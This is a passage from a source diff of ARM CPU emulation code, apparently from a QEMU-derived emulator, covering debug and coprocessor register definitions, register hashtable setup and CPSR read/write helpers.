arm_env_get_cpu(env); + int i = ri->crm; + + /* BAS[3] is a read-only copy of BAS[2], and BAS[1] a read-only + * copy of BAS[0]. + */ + value = deposit64(value, 6, 1, extract64(value, 5, 1)); + value = deposit64(value, 8, 1, extract64(value, 7, 1)); + + raw_write(env, ri, value); + hw_breakpoint_update(cpu, i); +} + +static void define_debug_regs(ARMCPU *cpu) +{ + /* Define v7 and v8 architectural debug registers. + * These are just dummy implementations for now. + */ + int i; + int wrps, brps, ctx_cmps; + ARMCPRegInfo dbgdidr = { + "DBGDIDR", 14,0,0, 0,0,0, 0, + ARM_CP_CONST, PL0_R, NULL, cpu->dbgdidr, + }; + + /* Note that all these register fields hold "number of Xs minus 1". */ + brps = extract32(cpu->dbgdidr, 24, 4); + wrps = extract32(cpu->dbgdidr, 28, 4); + ctx_cmps = extract32(cpu->dbgdidr, 20, 4); + + assert(ctx_cmps <= brps); + + /* The DBGDIDR and ID_AA64DFR0_EL1 define various properties + * of the debug registers such as number of breakpoints; + * check that if they both exist then they agree. + */ + if (arm_feature(&cpu->env, ARM_FEATURE_AARCH64)) { + assert(extract32(cpu->id_aa64dfr0, 12, 4) == brps); + assert(extract32(cpu->id_aa64dfr0, 20, 4) == wrps); + assert(extract32(cpu->id_aa64dfr0, 28, 4) == ctx_cmps); + } + + define_one_arm_cp_reg(cpu, &dbgdidr); + define_arm_cp_regs(cpu, debug_cp_reginfo); + + if (arm_feature(&cpu->env, ARM_FEATURE_LPAE)) { + define_arm_cp_regs(cpu, debug_lpae_cp_reginfo); + } + + for (i = 0; i < brps + 1; i++) { + ARMCPRegInfo dbgregs[] = { + { "DBGBVR", 14,0,i, 2,0,4,ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.dbgbvr[i]), + NULL, NULL,dbgbvr_write, NULL,raw_write + }, + { "DBGBCR", 14,0,i, 2,0,5, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.dbgbcr[i]), + NULL, NULL,dbgbcr_write, NULL,raw_write + }, + REGINFO_SENTINEL + }; + define_arm_cp_regs(cpu, dbgregs); + } + + for (i = 0; i < wrps + 1; i++) { + ARMCPRegInfo dbgregs[] = { + { "DBGWVR", 14,0,i, 2,0,6, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.dbgwvr[i]), + NULL, NULL,dbgwvr_write, NULL,raw_write + }, + { "DBGWCR", 14,0,i, 2,0,7, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.dbgwcr[i]), + NULL, NULL,dbgwcr_write, NULL,raw_write + }, + REGINFO_SENTINEL + }; + define_arm_cp_regs(cpu, dbgregs); + } +} + +void register_cp_regs_for_features(ARMCPU *cpu) +{ + /* Register all the coprocessor registers based on feature bits */ + CPUARMState *env = &cpu->env; + if (arm_feature(env, ARM_FEATURE_M)) { + /* M profile has no coprocessor registers */ + return; + } + + define_arm_cp_regs(cpu, cp_reginfo); + if (!arm_feature(env, ARM_FEATURE_V8)) { + /* Must go early as it is full of wildcards that may be + * overridden by later definitions. + */ + define_arm_cp_regs(cpu, not_v8_cp_reginfo); + } + + if (arm_feature(env, ARM_FEATURE_V6)) { + /* The ID registers all have impdef reset values */ + ARMCPRegInfo v6_idregs[] = { + { "ID_PFR0", 0,0,1, 3,0,0, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_pfr0 }, + { "ID_PFR1", 0,0,1, 3,0,1, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_pfr1 }, + { "ID_DFR0", 0,0,1, 3,0,2, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_dfr0 }, + { "ID_AFR0", 0,0,1, 3,0,3, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_afr0 }, + { "ID_MMFR0", 0,0,1, 3,0,4, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_mmfr0 }, + { "ID_MMFR1", 0,0,1, 3,0,5, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_mmfr1 }, + { "ID_MMFR2", 0,0,1, 3,0,6, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_mmfr2 }, + { "ID_MMFR3", 0,0,1, 3,0,7, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_mmfr3 }, + { "ID_ISAR0", 0,0,2, 3,0,0, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_isar0 }, + { "ID_ISAR1", 0,0,2, 3,0,1, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_isar1 }, + { "ID_ISAR2", 0,0,2, 3,0,2, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_isar2 }, + { "ID_ISAR3", 0,0,2, 3,0,3, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_isar3 }, + { "ID_ISAR4", 0,0,2, 3,0,4, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_isar4 }, + { "ID_ISAR5", 0,0,2, 3,0,5, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->id_isar5 }, + /* 6..7 are as yet unallocated and must RAZ */ + { "ID_ISAR6", 15,0,2, 0,0,6, 0, + ARM_CP_CONST, PL1_R, NULL, 0 }, + { "ID_ISAR7", 15,0,2, 0,0,7, 0, + ARM_CP_CONST, PL1_R, NULL, 0 }, + REGINFO_SENTINEL + }; + define_arm_cp_regs(cpu, v6_idregs); + define_arm_cp_regs(cpu, v6_cp_reginfo); + } else { + define_arm_cp_regs(cpu, not_v6_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_V6K)) { + define_arm_cp_regs(cpu, v6k_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_V7MP)) { + define_arm_cp_regs(cpu, v7mp_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_V7)) { + ARMCPRegInfo clidr = { + "CLIDR", 0,0,0, 3,1,1, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->clidr + }; + /* v7 performance monitor control register: same implementor + * field as main ID register, and we implement only the cycle + * count register. + */ +#ifndef CONFIG_USER_ONLY + ARMCPRegInfo pmcr = { + "PMCR", 15,9,12, 0,0,0, 0, + ARM_CP_IO | ARM_CP_NO_MIGRATE, PL0_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.c9_pmcr), + pmreg_access, NULL,pmcr_write, NULL,raw_write, + }; + ARMCPRegInfo pmcr64 = { + "PMCR_EL0", 0,9,12, 3,3,0, ARM_CP_STATE_AA64, + ARM_CP_IO, PL0_RW, NULL, cpu->midr & 0xff000000, offsetof(CPUARMState, cp15.c9_pmcr), + pmreg_access, NULL,pmcr_write, NULL,raw_write, + }; + define_one_arm_cp_reg(cpu, &pmcr); + define_one_arm_cp_reg(cpu, &pmcr64); +#endif + define_one_arm_cp_reg(cpu, &clidr); + define_arm_cp_regs(cpu, v7_cp_reginfo); + define_debug_regs(cpu); + } else { + define_arm_cp_regs(cpu, not_v7_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_V8)) { + /* AArch64 ID registers, which all have impdef reset values */ + ARMCPRegInfo v8_idregs[] = { + { "ID_AA64PFR0_EL1", 0,0,4, 3,0,0, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->id_aa64pfr0 }, + { "ID_AA64PFR1_EL1", 0,0,4, 3,0,1, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->id_aa64pfr1}, + { "ID_AA64DFR0_EL1", 0,0,5, 3,0,0, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, + /* We mask out the PMUVer field, because we don't currently + * implement the PMU. Not advertising it prevents the guest + * from trying to use it and getting UNDEFs on registers we + * don't implement. + */ + cpu->id_aa64dfr0 & ~0xf00 }, + { "ID_AA64DFR1_EL1", 0,0,5, 3,0,1, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->id_aa64dfr1 }, + { "ID_AA64AFR0_EL1", 0,0,5, 3,0,4, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->id_aa64afr0 }, + { "ID_AA64AFR1_EL1", 0,0,5, 3,0,5, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->id_aa64afr1 }, + { "ID_AA64ISAR0_EL1", 0,0,6, 3,0,0, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->id_aa64isar0 }, + { "ID_AA64ISAR1_EL1", 0,0,6, 3,0,1, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->id_aa64isar1 }, + { "ID_AA64MMFR0_EL1", 0,0,7, 3,0,0, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->id_aa64mmfr0 }, + { "ID_AA64MMFR1_EL1", 0,0,7, 3,0,1, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->id_aa64mmfr1 }, + { "MVFR0_EL1", 0,0,3, 3,0,0, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->mvfr0 }, + { "MVFR1_EL1", 0,0,3, 3,0,1, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->mvfr1 }, + { "MVFR2_EL1", 0,0,3, 3,0,2, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->mvfr2 }, + REGINFO_SENTINEL + }; + ARMCPRegInfo rvbar = { + "RVBAR_EL1", 0,12,0, 3,0,2, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cpu->rvbar + }; + define_one_arm_cp_reg(cpu, &rvbar); + define_arm_cp_regs(cpu, v8_idregs); + define_arm_cp_regs(cpu, v8_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_EL2)) { + define_arm_cp_regs(cpu, v8_el2_cp_reginfo); + } else { + /* If EL2 is missing but higher ELs are enabled, we need to + * register the no_el2 reginfos. + */ + if (arm_feature(env, ARM_FEATURE_EL3)) { + define_arm_cp_regs(cpu, v8_el3_no_el2_cp_reginfo); + } + } + if (arm_feature(env, ARM_FEATURE_EL3)) { + define_arm_cp_regs(cpu, v8_el3_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_MPU)) { + /* These are the MPU registers prior to PMSAv6. Any new + * PMSA core later than the ARM946 will require that we + * implement the PMSAv6 or PMSAv7 registers, which are + * completely different. + */ + assert(!arm_feature(env, ARM_FEATURE_V6)); + define_arm_cp_regs(cpu, pmsav5_cp_reginfo); + } else { + define_arm_cp_regs(cpu, vmsa_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_THUMB2EE)) { + define_arm_cp_regs(cpu, t2ee_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_GENERIC_TIMER)) { + define_arm_cp_regs(cpu, generic_timer_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_VAPA)) { + define_arm_cp_regs(cpu, vapa_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_CACHE_TEST_CLEAN)) { + define_arm_cp_regs(cpu, cache_test_clean_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_CACHE_DIRTY_REG)) { + define_arm_cp_regs(cpu, cache_dirty_status_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_CACHE_BLOCK_OPS)) { + define_arm_cp_regs(cpu, cache_block_ops_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_OMAPCP)) { + define_arm_cp_regs(cpu, omap_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_STRONGARM)) { + define_arm_cp_regs(cpu, strongarm_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_XSCALE)) { + define_arm_cp_regs(cpu, xscale_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_DUMMY_C15_REGS)) { + define_arm_cp_regs(cpu, dummy_c15_cp_reginfo); + } + if (arm_feature(env, ARM_FEATURE_LPAE)) { + define_arm_cp_regs(cpu, lpae_cp_reginfo); + } + /* Slightly awkwardly, the OMAP and StrongARM cores need all of + * cp15 crn=0 to be writes-ignored, whereas for other cores they should + * be read-only (ie write causes UNDEF exception). + */ + { + ARMCPRegInfo id_pre_v8_midr_cp_reginfo[] = { + /* Pre-v8 MIDR space. + * Note that the MIDR isn't a simple constant register because + * of the TI925 behaviour where writes to another register can + * cause the MIDR value to change. + * + * Unimplemented registers in the c15 0 0 0 space default to + * MIDR. Define MIDR first as this entire space, then CTR, TCMTR + * and friends override accordingly. + */ + { "MIDR", 15,0,0, 0,0,CP_ANY, 0, + ARM_CP_OVERRIDE, PL1_R, NULL, cpu->midr, offsetof(CPUARMState, cp15.c0_cpuid), + NULL, NULL,arm_cp_write_ignore, NULL,raw_write, }, + /* crn = 0 op1 = 0 crm = 3..7 : currently unassigned; we RAZ. */ + { "DUMMY", + 15,0,3, 0,0,CP_ANY, 0, + ARM_CP_CONST, PL1_R, NULL, 0 }, + { "DUMMY", + 15,0,4, 0,0,CP_ANY, 0, + ARM_CP_CONST, PL1_R, NULL, 0 }, + { "DUMMY", + 15,0,5, 0,0,CP_ANY, 0, + ARM_CP_CONST, PL1_R, NULL, 0 }, + { "DUMMY", + 15,0,6, 0,0,CP_ANY, 0, + ARM_CP_CONST, PL1_R, NULL, 0 }, + { "DUMMY", + 15,0,7, 0,0,CP_ANY, 0, + ARM_CP_CONST, PL1_R, NULL, 0 }, + REGINFO_SENTINEL + }; + ARMCPRegInfo id_v8_midr_cp_reginfo[] = { + /* v8 MIDR -- the wildcard isn't necessary, and nor is the + * variable-MIDR TI925 behaviour. Instead we have a single + * (strictly speaking IMPDEF) alias of the MIDR, REVIDR. + */ + { "MIDR_EL1", 0,0,0, 3,0,0, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->midr }, + { "REVIDR_EL1", 0,0,0, 3,0,6, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_R, NULL, cpu->midr }, + REGINFO_SENTINEL + }; + ARMCPRegInfo id_cp_reginfo[] = { + /* These are common to v8 and pre-v8 */ + { "CTR", 15,0,0, 0,0,1, 0, + ARM_CP_CONST, PL1_R, NULL, cpu->ctr }, + { "CTR_EL0", 0,0,0, 3,3,1, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL0_R, NULL, cpu->ctr, 0, + ctr_el0_access, }, + /* TCMTR and TLBTR exist in v8 but have no 64-bit versions */ + { "TCMTR", 15,0,0, 0,0,2, 0, + ARM_CP_CONST, PL1_R, NULL, 0 }, + { "TLBTR", 15,0,0, 0,0,3, 0, + ARM_CP_CONST, PL1_R, NULL, 0 }, + REGINFO_SENTINEL + }; + ARMCPRegInfo crn0_wi_reginfo = { + "CRN0_WI", 15,0,CP_ANY, 0,CP_ANY,CP_ANY, 0, + ARM_CP_NOP | ARM_CP_OVERRIDE, PL1_W, + }; + if (arm_feature(env, ARM_FEATURE_OMAPCP) || + arm_feature(env, ARM_FEATURE_STRONGARM)) { + ARMCPRegInfo *r; + /* Register the blanket "writes ignored" value first to cover the + * whole space. Then update the specific ID registers to allow write + * access, so that they ignore writes rather than causing them to + * UNDEF. + */ + define_one_arm_cp_reg(cpu, &crn0_wi_reginfo); + for (r = id_pre_v8_midr_cp_reginfo; + r->type != ARM_CP_SENTINEL; r++) { + r->access = PL1_RW; + } + for (r = id_cp_reginfo; r->type != ARM_CP_SENTINEL; r++) { + r->access = PL1_RW; + } + } + if (arm_feature(env, ARM_FEATURE_V8)) { + define_arm_cp_regs(cpu, id_v8_midr_cp_reginfo); + } else { + define_arm_cp_regs(cpu, id_pre_v8_midr_cp_reginfo); + } + define_arm_cp_regs(cpu, id_cp_reginfo); + } + + if (arm_feature(env, ARM_FEATURE_MPIDR)) { + define_arm_cp_regs(cpu, mpidr_cp_reginfo); + } + + if (arm_feature(env, ARM_FEATURE_AUXCR)) { + ARMCPRegInfo auxcr = { + "ACTLR_EL1", 0,1,0, 3,0,1, ARM_CP_STATE_BOTH, + ARM_CP_CONST, PL1_RW, NULL, cpu->reset_auxcr + }; + define_one_arm_cp_reg(cpu, &auxcr); + } + + if (arm_feature(env, ARM_FEATURE_CBAR)) { + if (arm_feature(env, ARM_FEATURE_AARCH64)) { + /* 32 bit view is [31:18] 0...0 [43:32]. */ + uint32_t cbar32 = (extract64(cpu->reset_cbar, 18, 14) << 18) + | extract64(cpu->reset_cbar, 32, 12); + ARMCPRegInfo cbar_reginfo[] = { + { "CBAR", 15,15,0, 0,4,0, 0, + ARM_CP_CONST, PL1_R, NULL, cpu->reset_cbar }, + { "CBAR_EL1", 0,15,3, 3,1,0, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, cbar32 }, + REGINFO_SENTINEL + }; + /* We don't implement a r/w 64 bit CBAR currently */ + assert(arm_feature(env, ARM_FEATURE_CBAR_RO)); + define_arm_cp_regs(cpu, cbar_reginfo); + } else { + ARMCPRegInfo cbar = { + "CBAR", 15,15,0, 0,4,0, 0, + 0, PL1_R|PL3_W, NULL, cpu->reset_cbar, offsetof(CPUARMState, cp15.c15_config_base_address) + }; + if (arm_feature(env, ARM_FEATURE_CBAR_RO)) { + cbar.access = PL1_R; + cbar.fieldoffset = 0; + cbar.type = ARM_CP_CONST; + } + define_one_arm_cp_reg(cpu, &cbar); + } + } + + /* Generic registers whose values depend on the implementation */ + { + ARMCPRegInfo sctlr = { + "SCTLR", 0,1,0, 3,0,0, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, cpu->reset_sctlr, offsetof(CPUARMState, cp15.c1_sys), + NULL, NULL,sctlr_write, NULL,raw_write, + }; + if (arm_feature(env, ARM_FEATURE_XSCALE)) { + /* Normally we would always end the TB on an SCTLR write, but Linux + * arch/arm/mach-pxa/sleep.S expects two instructions following + * an MMU enable to execute from cache. Imitate this behaviour. + */ + sctlr.type |= ARM_CP_SUPPRESS_TB_END; + } + define_one_arm_cp_reg(cpu, &sctlr); + } +} + +ARMCPU *cpu_arm_init(struct uc_struct *uc, const char *cpu_model) +{ + return ARM_CPU(uc, cpu_generic_init(uc, TYPE_ARM_CPU, cpu_model)); +} + +void arm_cpu_register_gdb_regs_for_features(ARMCPU *cpu) +{ +#if 0 + CPUState *cs = CPU(cpu); + CPUARMState *env = &cpu->env; + + if (arm_feature(env, ARM_FEATURE_AARCH64)) { + gdb_register_coprocessor(cs, aarch64_fpu_gdb_get_reg, + aarch64_fpu_gdb_set_reg, + 34, "aarch64-fpu.xml", 0); + } else if (arm_feature(env, ARM_FEATURE_NEON)) { + gdb_register_coprocessor(cs, vfp_gdb_get_reg, vfp_gdb_set_reg, + 51, "arm-neon.xml", 0); + } else if (arm_feature(env, ARM_FEATURE_VFP3)) { + gdb_register_coprocessor(cs, vfp_gdb_get_reg, vfp_gdb_set_reg, + 35, "arm-vfp3.xml", 0); + } else if (arm_feature(env, ARM_FEATURE_VFP)) { + gdb_register_coprocessor(cs, vfp_gdb_get_reg, vfp_gdb_set_reg, + 19, "arm-vfp.xml", 0); + } +#endif +} + +/* Sort alphabetically by type name, except for "any". */ +#if 0 +static void arm_cpu_list_entry(gpointer data, gpointer user_data) +{ + ObjectClass *oc = data; + CPUListState *s = user_data; + const char *typename; + char *name; + + typename = object_class_get_name(oc); + name = g_strndup(typename, strlen(typename) - strlen("-" TYPE_ARM_CPU)); + (*s->cpu_fprintf)(s->file, " %s\n", + name); + g_free(name); +} +#endif + +void arm_cpu_list(FILE *f, fprintf_function cpu_fprintf) +{ +#if 0 + CPUListState s = { + .file = f, + .cpu_fprintf = cpu_fprintf, + }; + GSList *list; + + list = object_class_get_list(TYPE_ARM_CPU, false); + list = g_slist_sort(list, arm_cpu_list_compare); + (*cpu_fprintf)(f, "Available CPUs:\n"); + g_slist_foreach(list, arm_cpu_list_entry, &s); + g_slist_free(list); +#ifdef CONFIG_KVM + /* The 'host' CPU type is dynamically registered only if KVM is + * enabled, so we have to special-case it here: + */ + (*cpu_fprintf)(f, " host (only available in KVM mode)\n"); +#endif +#endif +} + +static void add_cpreg_to_hashtable(ARMCPU *cpu, const ARMCPRegInfo *r, + void *opaque, int state, + int crm, int opc1, int opc2) +{ + /* Private utility function for define_one_arm_cp_reg_with_opaque(): + * add a single reginfo struct to the hash table. + */ + uint32_t *key = g_new(uint32_t, 1); + ARMCPRegInfo *r2 = g_memdup(r, sizeof(ARMCPRegInfo)); + int is64 = (r->type & ARM_CP_64BIT) ? 1 : 0; + if (r->state == ARM_CP_STATE_BOTH && state == ARM_CP_STATE_AA32) { + /* The AArch32 view of a shared register sees the lower 32 bits + * of a 64 bit backing field. It is not migratable as the AArch64 + * view handles that. AArch64 also handles reset. + * We assume it is a cp15 register if the .cp field is left unset. + */ + if (r2->cp == 0) { + r2->cp = 15; + } + r2->type |= ARM_CP_NO_MIGRATE; + r2->resetfn = arm_cp_reset_ignore; +#ifdef HOST_WORDS_BIGENDIAN + if (r2->fieldoffset) { + r2->fieldoffset += sizeof(uint32_t); + } +#endif + } + if (state == ARM_CP_STATE_AA64) { + /* To allow abbreviation of ARMCPRegInfo + * definitions, we treat cp == 0 as equivalent to + * the value for "standard guest-visible sysreg". + * STATE_BOTH definitions are also always "standard + * sysreg" in their AArch64 view (the .cp value may + * be non-zero for the benefit of the AArch32 view). + */ + if (r->cp == 0 || r->state == ARM_CP_STATE_BOTH) { + r2->cp = CP_REG_ARM64_SYSREG_CP; + } + *key = ENCODE_AA64_CP_REG(r2->cp, r2->crn, crm, + r2->opc0, opc1, opc2); + } else { + *key = ENCODE_CP_REG(r2->cp, is64, r2->crn, crm, opc1, opc2); + } + if (opaque) { + r2->opaque = opaque; + } + /* reginfo passed to helpers is correct for the actual access, + * and is never ARM_CP_STATE_BOTH: + */ + r2->state = state; + /* Make sure reginfo passed to helpers for wildcarded regs + * has the correct crm/opc1/opc2 for this reg, not CP_ANY: + */ + r2->crm = crm; + r2->opc1 = opc1; + r2->opc2 = opc2; + /* By convention, for wildcarded registers only the first + * entry is used for migration; the others are marked as + * NO_MIGRATE so we don't try to transfer the register + * multiple times. Special registers (ie NOP/WFI) are + * never migratable. + */ + if ((r->type & ARM_CP_SPECIAL) || + ((r->crm == CP_ANY) && crm != 0) || + ((r->opc1 == CP_ANY) && opc1 != 0) || + ((r->opc2 == CP_ANY) && opc2 != 0)) { + r2->type |= ARM_CP_NO_MIGRATE; + } + + /* Overriding of an existing definition must be explicitly + * requested. + */ + if (!(r->type & ARM_CP_OVERRIDE)) { + ARMCPRegInfo *oldreg; + oldreg = g_hash_table_lookup(cpu->cp_regs, key); + if (oldreg && !(oldreg->type & ARM_CP_OVERRIDE)) { + fprintf(stderr, "Register redefined: cp=%d %d bit " + "crn=%d crm=%d opc1=%d opc2=%d, " + "was %s, now %s\n", r2->cp, 32 + 32 * is64, + r2->crn, r2->crm, r2->opc1, r2->opc2, + oldreg->name, r2->name); + g_assert_not_reached(); + } + } + g_hash_table_insert(cpu->cp_regs, key, r2); +} + + +void define_one_arm_cp_reg_with_opaque(ARMCPU *cpu, + const ARMCPRegInfo *r, void *opaque) +{ + /* Define implementations of coprocessor registers. + * We store these in a hashtable because typically + * there are less than 150 registers in a space which + * is 16*16*16*8*8 = 262144 in size. + * Wildcarding is supported for the crm, opc1 and opc2 fields. + * If a register is defined twice then the second definition is + * used, so this can be used to define some generic registers and + * then override them with implementation specific variations. + * At least one of the original and the second definition should + * include ARM_CP_OVERRIDE in its type bits -- this is just a guard + * against accidental use. + * + * The state field defines whether the register is to be + * visible in the AArch32 or AArch64 execution state. If the + * state is set to ARM_CP_STATE_BOTH then we synthesise a + * reginfo structure for the AArch32 view, which sees the lower + * 32 bits of the 64 bit register. + * + * Only registers visible in AArch64 may set r->opc0; opc0 cannot + * be wildcarded. AArch64 registers are always considered to be 64 + * bits; the ARM_CP_64BIT* flag applies only to the AArch32 view of + * the register, if any. + */ + int crm, opc1, opc2, state; + int crmmin = (r->crm == CP_ANY) ? 0 : r->crm; + int crmmax = (r->crm == CP_ANY) ? 15 : r->crm; + int opc1min = (r->opc1 == CP_ANY) ? 0 : r->opc1; + int opc1max = (r->opc1 == CP_ANY) ? 7 : r->opc1; + int opc2min = (r->opc2 == CP_ANY) ? 0 : r->opc2; + int opc2max = (r->opc2 == CP_ANY) ? 7 : r->opc2; + /* 64 bit registers have only CRm and Opc1 fields */ + assert(!((r->type & ARM_CP_64BIT) && (r->opc2 || r->crn))); + /* op0 only exists in the AArch64 encodings */ + assert((r->state != ARM_CP_STATE_AA32) || (r->opc0 == 0)); + /* AArch64 regs are all 64 bit so ARM_CP_64BIT is meaningless */ + assert((r->state != ARM_CP_STATE_AA64) || !(r->type & ARM_CP_64BIT)); + /* The AArch64 pseudocode CheckSystemAccess() specifies that op1 + * encodes a minimum access level for the register. We roll this + * runtime check into our general permission check code, so check + * here that the reginfo's specified permissions are strict enough + * to encompass the generic architectural permission check. + */ + if (r->state != ARM_CP_STATE_AA32) { + int mask = 0; + switch (r->opc1) { + case 0: case 1: case 2: + /* min_EL EL1 */ + mask = PL1_RW; + break; + case 3: + /* min_EL EL0 */ + mask = PL0_RW; + break; + case 4: + /* min_EL EL2 */ + mask = PL2_RW; + break; + case 5: + /* unallocated encoding, so not possible */ + assert(false); + break; + case 6: + /* min_EL EL3 */ + mask = PL3_RW; + break; + case 7: + /* min_EL EL1, secure mode only (we don't check the latter) */ + mask = PL1_RW; + break; + default: + /* broken reginfo with out-of-range opc1 */ + assert(false); + break; + } + /* assert our permissions are not too lax (stricter is fine) */ + assert((r->access & ~mask) == 0); + } + + /* Check that the register definition has enough info to handle + * reads and writes if they are permitted. + */ + if (!(r->type & (ARM_CP_SPECIAL|ARM_CP_CONST))) { + if (r->access & PL3_R) { + assert(r->fieldoffset || r->readfn); + } + if (r->access & PL3_W) { + assert(r->fieldoffset || r->writefn); + } + } + /* Bad type field probably means missing sentinel at end of reg list */ + assert(cptype_valid(r->type)); + for (crm = crmmin; crm <= crmmax; crm++) { + for (opc1 = opc1min; opc1 <= opc1max; opc1++) { + for (opc2 = opc2min; opc2 <= opc2max; opc2++) { + for (state = ARM_CP_STATE_AA32; + state <= ARM_CP_STATE_AA64; state++) { + if (r->state != state && r->state != ARM_CP_STATE_BOTH) { + continue; + } + add_cpreg_to_hashtable(cpu, r, opaque, state, + crm, opc1, opc2); + } + } + } + } +} + +void define_arm_cp_regs_with_opaque(ARMCPU *cpu, + const ARMCPRegInfo *regs, void *opaque) +{ + /* Define a whole list of registers */ + const ARMCPRegInfo *r; + for (r = regs; r->type != ARM_CP_SENTINEL; r++) { + define_one_arm_cp_reg_with_opaque(cpu, r, opaque); + } +} + +const ARMCPRegInfo *get_arm_cp_reginfo(GHashTable *cpregs, uint32_t encoded_cp) +{ + return g_hash_table_lookup(cpregs, &encoded_cp); +} + +void arm_cp_write_ignore(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Helper coprocessor write function for write-ignore registers */ +} + +uint64_t arm_cp_read_zero(CPUARMState *env, const ARMCPRegInfo *ri) +{ + /* Helper coprocessor write function for read-as-zero registers */ + return 0; +} + +void arm_cp_reset_ignore(CPUARMState *env, const ARMCPRegInfo *opaque) +{ + /* Helper coprocessor reset function for do-nothing-on-reset registers */ +} + +static int bad_mode_switch(CPUARMState *env, int mode) +{ + /* Return true if it is not valid for us to switch to + * this CPU mode (ie all the UNPREDICTABLE cases in + * the ARM ARM CPSRWriteByInstr pseudocode). + */ + switch (mode) { + case ARM_CPU_MODE_USR: + case ARM_CPU_MODE_SYS: + case ARM_CPU_MODE_SVC: + case ARM_CPU_MODE_ABT: + case ARM_CPU_MODE_UND: + case ARM_CPU_MODE_IRQ: + case ARM_CPU_MODE_FIQ: + return 0; + case ARM_CPU_MODE_MON: + return !arm_is_secure(env); + default: + return 1; + } +} + +uint32_t cpsr_read(CPUARMState *env) +{ + int ZF; + ZF = (env->ZF == 0); + return env->uncached_cpsr | (env->NF & 0x80000000) | (ZF << 30) | + (env->CF << 29) | ((env->VF & 0x80000000) >> 3) | (env->QF << 27) + | (env->thumb << 5) | ((env->condexec_bits & 3) << 25) + | ((env->condexec_bits & 0xfc) << 8) + | (env->GE << 16) | (env->daif & CPSR_AIF); +} + +void cpsr_write(CPUARMState *env, uint32_t val, uint32_t mask) +{ + if (mask & CPSR_NZCV) { + env->ZF = (~val) & CPSR_Z; + env->NF = val; + env->CF = (val >> 29) & 1; + env->VF = (val << 3) & 0x80000000; + } + if (mask & CPSR_Q) + env->QF = ((val & CPSR_Q) != 0); + if (mask & CPSR_T) + env->thumb = ((val & CPSR_T) != 0); + if (mask & CPSR_IT_0_1) { + env->condexec_bits &= ~3; + env->condexec_bits |= (val >> 25) & 3; + } + if (mask & CPSR_IT_2_7) { + env->condexec_bits &= 3; + env->condexec_bits |= (val >> 8) & 0xfc; + } + if (mask & CPSR_GE) { + env->GE = (val >> 16) & 0xf; + } + + env->daif &= ~(CPSR_AIF & mask); + env->daif |= val & CPSR_AIF & mask; + + if ((env->uncached_cpsr ^ val) & mask & CPSR_M) { + if (bad_mode_switch(env, val & CPSR_M)) { + /* Attempt to switch to an invalid mode: this is UNPREDICTABLE. + * We choose to ignore the attempt and leave the CPSR M field + * untouched. + */ + mask &= ~CPSR_M; + } else { + switch_mode(env, val & 